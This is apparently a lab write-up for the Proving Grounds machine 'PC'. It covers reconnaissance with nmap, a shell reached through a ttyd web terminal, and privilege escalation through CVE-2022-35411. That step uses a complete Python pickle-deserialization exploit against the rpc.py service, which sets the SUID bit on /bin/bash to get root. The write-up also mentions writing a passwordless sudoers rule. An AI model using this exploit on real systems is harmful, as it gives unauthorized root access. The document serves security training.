Skip to content

PC Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

PC hands out a low-privileged shell directly through a browser-based ttyd terminal. A locally-bound RPC service built with the rpc.py library is vulnerable to CVE-2022-35411, an insecure pickle deserialization that executes as root, giving an immediate privilege escalation.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT     STATE SERVICE
8000/tcp open  http

Port 8000 serves a ttyd web terminal that drops straight into a shell as the low-privileged user user, with no further web exploitation needed.

Enumeration

Look around the filesystem for anything unusual.

┌──(kali㉿kali)-[~]
└─$ ls /opt
rpc.py

/opt/rpc.py sets up an RPC server using the rpcpy library.

if __name__ == "__main__":
    uvicorn.run(app, interface="asgi3", port=65432)

Supervisor configs confirm both services are managed processes, and a local connection check shows the RPC server is actually running on 127.0.0.1:65432.

┌──(kali㉿kali)-[~]
└─$ ls /etc/supervisor/conf.d/
rpc.conf
ttyd.conf

Privilege Escalation

rpc.py pickle deserialization (CVE-2022-35411)

rpc.py (the rpcpy PyPI package) is an ASGI/WSGI RPC framework. When a client sets the serializer: pickle header, the server unpickles the request body, which is known to be unsafe. CVE-2022-35411 covers this for arbitrary code execution. Build a payload that abuses __reduce__ to call os.system.

import requests
import pickle

HOST = "127.0.0.1:65432"
URL = f"http://{HOST}/sayhi"
HEADERS = {"serializer": "pickle"}

def generate_payload(cmd):
    class PickleRce(object):
        def __reduce__(self):
            import os
            return os.system, (cmd,)
    return pickle.dumps(PickleRce())

def exec_command(cmd):
    requests.post(url=URL, data=generate_payload(cmd), headers=HEADERS)

if __name__ == "__main__":
    exec_command('id;chmod u+s /bin/bash')

Run the exploit locally against the RPC service.

┌──(kali㉿kali)-[~]
└─$ python3 expl.py

The RPC service runs as root, so the injected command executes with root privileges and sets the SUID bit on bash.

┌──(kali㉿kali)-[~]
└─$ ls -alh /bin/bash
-rwsr-xr-x 1 root root 1.2M Apr 18  2022 /bin/bash
┌──(kali㉿kali)-[~]
└─$ /bin/bash -p -i
bash-5.0# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Effective root. The same primitive also works by writing a passwordless sudo rule directly to /etc/sudoers, as an alternative to the SUID approach.

References